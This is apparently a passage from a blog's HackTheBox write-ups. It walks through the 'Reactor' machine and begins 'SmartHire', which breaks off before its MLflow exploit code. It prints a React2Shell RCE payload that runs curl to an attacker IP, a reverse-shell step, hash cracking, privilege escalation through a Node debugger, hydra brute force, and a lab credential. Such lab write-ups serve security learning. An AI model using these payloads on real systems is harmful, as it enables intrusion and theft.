Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

</pre></td></tr></tbody></table></code></pre></div></div>

<h1 id="user">User</h1>

<h2 id="react2shell">React2Shell</h2>

<p>Having a look around the website running on port <code class="language-plaintext highlighter-rouge">3000</code> we can find the following <code class="language-plaintext highlighter-rouge">snippet</code> in one of the <code class="language-plaintext highlighter-rouge">chunks</code> revealing the version of <code class="language-plaintext highlighter-rouge">NextJS</code> being used.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="nb">window</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="p">{</span>
                <span class="na">version</span><span class="p">:</span> <span class="dl">"</span><span class="s2">15.0.3</span><span class="dl">"</span><span class="p">,</span>
                <span class="na">appDir</span><span class="p">:</span> <span class="o">!</span><span class="mi">0</span>
            <span class="p">}</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looking around for vulnerabilities in <strong>NextJs 15.0.3</strong> I stumble upon <a href="https://nextjs.org/blog/CVE-2025-66478">CVE-2025-66478</a> which references this vulnerability in ReactJS: <a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">CVE-2025-55182</a></p>

<p>The original researcher has published the following <a href="https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc">PoC</a>, let’s run the <code class="language-plaintext highlighter-rouge">PoC</code> modifying the <code class="language-plaintext highlighter-rouge">prefix</code> to execute a command and the <code class="language-plaintext highlighter-rouge">url</code> at the bottom of the <code class="language-plaintext highlighter-rouge">js PoC</code></p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">$1</span><span class="dl">'</span><span class="p">,</span>
    <span class="dl">'</span><span class="s1">1</span><span class="dl">'</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">'</span><span class="s1">status</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">resolved_model</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">reason</span><span class="dl">'</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">_response</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">$4</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">{"then":"$3:map","0":{"then":"$B3"},"length":1}</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">then</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">$2:then</span><span class="dl">'</span>
    <span class="p">},</span>
    <span class="dl">'</span><span class="s1">2</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">$@3</span><span class="dl">'</span><span class="p">,</span>
    <span class="dl">'</span><span class="s1">3</span><span class="dl">'</span><span class="p">:</span> <span class="p">[],</span>
    <span class="dl">'</span><span class="s1">4</span><span class="dl">'</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">'</span><span class="s1">_prefix</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">process.mainModule.require(</span><span class="se">\'</span><span class="s1">child_process</span><span class="se">\'</span><span class="s1">).execSync(</span><span class="se">\'</span><span class="s1">curl 10.10.14.3:9001</span><span class="se">\'</span><span class="s1">)//</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">_formData</span><span class="dl">'</span><span class="p">:{</span>
            <span class="dl">'</span><span class="s1">get</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">$3:constructor:constructor</span><span class="dl">'</span>
        <span class="p">},</span>
        <span class="dl">'</span><span class="s1">_chunks</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">$2:_response:_chunks</span><span class="dl">'</span><span class="p">,</span>
    <span class="p">}</span>
<span class="p">}</span>


<span class="o">&lt;</span><span class="nx">SNIP</span><span class="o">&gt;</span>

<span class="nx">exploitNext</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://reactor.htb:3000</span><span class="dl">'</span><span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can run this with <code class="language-plaintext highlighter-rouge">node</code> (requires the <code class="language-plaintext highlighter-rouge">form-data</code> as a dependency)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>node exploit.js

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="err">----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="0"

"$1"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="1"

{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="2"

"$@3"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="3"

[]
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="4"

{"_prefix":"process.mainModule.require('child_process').execSync('curl 10.10.14.3:9001')//","_formData":{"get":"$3:constructor:constructor"},"_chunks":"$2:_response:_chunks"}
----------------------------227891fe9fd3f6c21acb478b--

{
  'content-type': 'multipart/form-data; boundary=--------------------------227891fe9fd3f6c21acb478b'
}

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>This proceeds to hang but I get a response on my listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>nc <span class="nt">-lvnp</span> 9001

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.245.214] 34264
GET / HTTP/1.1
Host: 10.10.14.3:9001
User-Agent: curl/8.5.0
Accept: */*




</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s use the <code class="language-plaintext highlighter-rouge">RCE</code> to get a <code class="language-plaintext highlighter-rouge">reverse shell</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>node@reactor:/opt/reactor-app<span class="err">$</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="hash-cracking">Hash Cracking</h2>

<p>Looking around we can find a <code class="language-plaintext highlighter-rouge">reactor.db</code> database file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>node@reactor:/opt/reactor-app<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>total 76K
4.0K drwxr-xr-x  5 node node 4.0K May 25 06:59 .
4.0K drwxr-xr-x  4 root root 4.0K Apr 27 11:26 ..
4.0K drwxr-xr-x  2 node node 4.0K Dec 28 20:47 app
4.0K -rw-r--r--  1 node node  276 Dec 28 21:05 .env
4.0K drwxr-xr-x  7 node node 4.0K Dec 28 20:47 .next
4.0K -rw-r--r--  1 node node  172 Dec 28 20:47 next.config.js
4.0K drwxr-xr-x 30 node node 4.0K Dec 28 20:47 node_modules
4.0K -rw-r--r--  1 node node  269 Dec 28 20:47 package.json
 32K -rw-r--r--  1 node node  29K Dec 28 20:47 package-lock.json
 12K -rw-r-----  1 node node  12K Dec 28 21:03 reactor.db

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Transferring this to our <strong>attacker</strong> machine and taking a look inside it with <code class="language-plaintext highlighter-rouge">SQLite3</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>sqlite3 reactor.db

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite&gt; .tables
sensor_logs  users      
sqlite&gt; select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110e[REDACTED]|operator|engineer@reactor.htb

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s start <code class="language-plaintext highlighter-rouge">hashcat</code> against them assuming they’re <code class="language-plaintext highlighter-rouge">md5</code> hashes.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>hashcat <span class="nt">-m</span> 0 reactor.pem rockyou.txt <span class="nt">-w</span> 3 <span class="nt">-O</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
</pre></td><td class="rouge-code"><pre>hashcat (v7.1.2) starting

nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 13.1)
====================
* Device #01: NVIDIA GeForce RTX 3060 Laptop GPU, 5118/6143 MB, 30MCU

OpenCL API (OpenCL 3.0 CUDA 13.1.117) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #02: NVIDIA GeForce RTX 3060 Laptop GPU, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 561 MB (854 MB free)

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

39d97110[REDACTED]:[REDACTED]
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: .\reactor.pem
Time.Started.....: Mon May 25 17:03:39 2026 (1 sec)
Time.Estimated...: Mon May 25 17:03:40 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 15249.7 kH/s (0.05ms) @ Accel:6 Loops:1 Thr:608 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 3094/14344384 (0.02%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !em&amp;1L -&gt; $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 48c Util: 27% Core:1425MHz Mem:7001MHz Bus:8

Started: Mon May 25 17:03:33 2026
Stopped: Mon May 25 17:03:41 2026

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a hit for <code class="language-plaintext highlighter-rouge">engineer</code>’s password. Let’s <code class="language-plaintext highlighter-rouge">ssh</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre>~/htb/labs/reactor <span class="nv">$ </span>ssh engineer@reactor.htb
The authenticity of host <span class="s1">'reactor.htb (10.129.245.214)'</span> cant be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to <span class="k">continue </span>connecting <span class="o">(</span><span class="nb">yes</span>/no/[fingerprint]<span class="o">)</span>? <span class="nb">yes
</span>Warning: Permanently added <span class="s1">'reactor.htb'</span> <span class="o">(</span>ED25519<span class="o">)</span> to the list of known hosts.
engineer@reactor.htbs password: <span class="o">[</span>REDACTED]
 ____  _____    _    ____ _____ ___  ____  
|  _ <span class="se">\|</span> ____|  / <span class="se">\ </span> / ___|_   _/ _ <span class="se">\|</span>  _ <span class="se">\ </span>
| |_<span class="o">)</span> |  _|   / _ <span class="se">\|</span> |     | <span class="o">||</span> | | | |_<span class="o">)</span> |
|  _ &lt;| |___ / ___ <span class="se">\ </span>|___  | <span class="o">||</span> |_| |  _ &lt; 
|_| <span class="se">\_\_</span>____/_/   <span class="se">\_\_</span>___| |_| <span class="se">\_</span>__/|_| <span class="se">\_\</span>

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    
    AUTHORIZED PERSONNEL ONLY
Last login: Mon May 25 07:05:19 2026 from 10.10.14.3

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>engineer@reactor:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> user.txt
4.0K <span class="nt">-rw-r-----</span> 1 root engineer 33 May 25 05:14 user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<h1 id="root">Root</h1>

<h2 id="chrome-devtools-protocol">Chrome DevTools Protocol</h2>

<p>Checking for running processes we can find an interesting <code class="language-plaintext highlighter-rouge">node js</code> process that runs an <code class="language-plaintext highlighter-rouge">uptime-monitor</code> with the <code class="language-plaintext highlighter-rouge">--inspect</code> flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>ps <span class="nt">-ef</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>&lt;SNIP&gt;
root        1417       1  0 05:13 ?        00:00:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
&lt;SNIP&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>From the <code class="language-plaintext highlighter-rouge">node</code> manual:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>--inspect=[host:]port
               Activate inspector on host:port.  Default is 127.0.0.1:9229.

               V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling.  It uses the Chrome DevTools Protocol.

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s <code class="language-plaintext highlighter-rouge">port-forward</code> port <code class="language-plaintext highlighter-rouge">9229</code> to our localhost, and open a <code class="language-plaintext highlighter-rouge">chromium</code> browser connecting to chrome://inspect where we should be able to <code class="language-plaintext highlighter-rouge">inspect</code> the <code class="language-plaintext highlighter-rouge">uptime-monitor.js</code> file</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>localhost:9229 (v20.20.2)
trace
/opt/uptime-monitor/worker.js
file:///opt/uptime-monitor/worker.js

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a <code class="language-plaintext highlighter-rouge">pid</code> which matches our <code class="language-plaintext highlighter-rouge">ps -ef</code> output.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>uptime-monitor up, pid=1417

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can use the same <code class="language-plaintext highlighter-rouge">javascript</code> command we used earlier to get <code class="language-plaintext highlighter-rouge">code execution</code> as <code class="language-plaintext highlighter-rouge">root</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>require('child_process').execSync('id').toString()
'uid=0(root) gid=0(root) groups=0(root)\n'

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s grab another <code class="language-plaintext highlighter-rouge">reverse shell</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>root@reactor:/# ls -lash /root/root.txt
4.0K -rw-r----- 1 root root 33 May 25 05:14 /root/root.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>

<h1 id="credentials">Credentials</h1>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>engineer:reactor1

</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="diff/easy" /><category term="os/linux" /><summary type="html"><![CDATA[Reactor is running a reactor monitor web app running a vulnerable version of ReactJS to an exploit known as React2Shell. We can exploit this using a public proof of concept provided by the researcher of the vulnerability through a node js script to get a foothold. We can then dump and crack hashes from a database which we can use to ssh as the user. Finally we find a root process running a Chrome Developer Portal for an uptime-monitor, we're able to connect to the Chrome Developer Portal instance and run javascript commands as root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_reactor/0014.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_reactor/0014.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SmartHire</title><link href="https://0xw1ld.github.io/htb/2026/09/26/smarthire.html" rel="alternate" type="text/html" title="SmartHire" /><published>2026-09-26T00:00:00+00:00</published><updated>2026-09-26T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/09/26/smarthire</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/09/26/smarthire.html"><![CDATA[<p><img src="/assets/img/img_smarthire/0009.jpeg" alt="SmartHire HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg1Y2xxe0euIHDjjKTIrxL+XZXgsBabs0FMAMKBL8arUuELui3vhlkgcDVGcZ4vFWnsiu4osw5INjfcQGkp2BY=
|   256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPc/kqsR+WxwGPMNTukcYPjzZRGjQL6N+0HsGIS1NV4U
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Overview | SmartHIRE
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="22---ssh">22 - SSH</h2>

<p>As per usual we do some CVE checks and move on if there isn’t any that provides <code class="language-plaintext highlighter-rouge">shell</code> access.</p>

<h2 id="80---http">80 - HTTP</h2>

<p>Adding an entry to our hosts file like so:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>~/htb/labs/smarthire <span class="nv">$ </span><span class="nb">tail</span> <span class="nt">-n</span> 1 /etc/hosts
10.129.245.215 smarthire.htb

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Allows us to visit the http://smarthire.htb website where we’re greeted by an AI-evaluation hiring platform.
<img src="/assets/img/img_smarthire/0010.jpeg" alt="" /></p>

<p>We’re able to <code class="language-plaintext highlighter-rouge">Register</code> and <code class="language-plaintext highlighter-rouge">Login</code> an account which gives us access to a <code class="language-plaintext highlighter-rouge">model training dashboard</code>
<img src="/assets/img/img_smarthire/0011.jpeg" alt="" /></p>
<h1 id="user">User</h1>

<h2 id="getting-to-mlflow-dashboard">Getting to MLFlow Dashboard</h2>

<p>After uploading the <code class="language-plaintext highlighter-rouge">example</code> Training data and testing it with the <code class="language-plaintext highlighter-rouge">example</code> resume csv we can find several requests going on in the background that are quite interesting.</p>

<p>When we upload a model the site is constantly querying the endpoint <code class="language-plaintext highlighter-rouge">model_info</code> which responds with the following.</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sat, 16 May 2026 23:57:37 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">157</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Cookie</span>

<span class="p">{</span><span class="w">
    </span><span class="nl">"model_info"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"creation_timestamp"</span><span class="p">:</span><span class="w"> </span><span class="mi">1778975595045</span><span class="p">,</span><span class="w">
        </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"No description"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"model_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"w1ldCo-9d653d882c64-model"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Additionally, my <code class="language-plaintext highlighter-rouge">vhost subdomian</code> fuzzer has found the following subdomain in the background.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>~/htb/labs/smarthire <span class="nv">$ </span>ffuf <span class="nt">-u</span> http://smarthire.htb <span class="nt">-H</span> <span class="s2">"Host: FUZZ.smarthire.htb"</span> <span class="nt">-w</span> /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt <span class="nt">-mc</span> all <span class="nt">-fc</span> 301 <span class="nt">-s</span> 
models

</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll be adding this to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file like so:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>~/htb/labs/smarthire <span class="nv">$ </span><span class="nb">tail</span> <span class="nt">-n</span> 1 /etc/hosts
10.129.245.215 smarthire.htb models.smarthire.htb

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Attempting to visit the site it asks for a <code class="language-plaintext highlighter-rouge">basic authentication</code> username and password. <a href="https://www.alexandriasec.net/uploads/images/gallery/2026-05/BhHvrWGFQV23sIVi-image-1779019964895.png"><img src="https://www.alexandriasec.net/uploads/images/gallery/2026-05/scaled-1680-/BhHvrWGFQV23sIVi-image-1779019964895.png" alt="" /></a></p>

<p>We can attempt to <code class="language-plaintext highlighter-rouge">brute-force</code> this using <code class="language-plaintext highlighter-rouge">hydra</code> with the username of <code class="language-plaintext highlighter-rouge">admin</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>~/htb/labs/smarthire <span class="nv">$ </span>hydra <span class="nt">-l</span> <span class="s2">"admin"</span> <span class="nt">-P</span> /usr/share/wordlists/rockyou.txt <span class="nt">-s</span> 80 models.smarthire.htb http-get /
Hydra v9.6 <span class="o">(</span>c<span class="o">)</span> 2023 by van Hauser/THC &amp; David Maciejak - Please <span class="k">do </span>not use <span class="k">in </span>military or secret service organizations, or <span class="k">for </span>illegal purposes <span class="o">(</span>this is non-binding, these <span class="k">***</span> ignore laws and ethics anyway<span class="o">)</span><span class="nb">.</span>

Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> starting at 2026-05-16 20:12:43
<span class="o">[</span>DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries <span class="o">(</span>l:1/p:14344399<span class="o">)</span>, ~896525 tries per task
<span class="o">[</span>DATA] attacking http-get://models.smarthire.htb:80/
<span class="o">[</span>80][http-get] host: models.smarthire.htb   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> finished at 2026-05-16 20:12:47

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="mlflow-rce">MLFlow RCE</h2>

<p>We also could’ve just tried this combination blind as it’s one of the more common ones. Once we do this we gain access to <code class="language-plaintext highlighter-rouge">MLFlow 2.14.1</code>
<img src="/assets/img/img_smarthire/0012.jpeg" alt="" /></p>

<p>Taking a look around online for vulnerabilities we can find a disclosure for <a href="https://www.hiddenlayer.com/sai-security-advisory/2024-06-mlflow-11">CVE-2024-37053</a> which showcases a <code class="language-plaintext highlighter-rouge">deserialization on pickle load vulnerability</code>. We can also find this <a href="https://github.com/NiteeshPujari/CVE-2024-37054-MLflow-RCE">PoC</a> for the vulnerability.</p>

<blockquote>
  <p>Note that MlFlow 2.14.1 requires python 3.10,numpy &lt;2, and setuptools&lt;70 for pkg_resources module so we pin those versions {:.info}</p>
</blockquote>

<p>I’ll be modifying it with the help of <code class="language-plaintext highlighter-rouge">claude</code> to get the following result:</p>

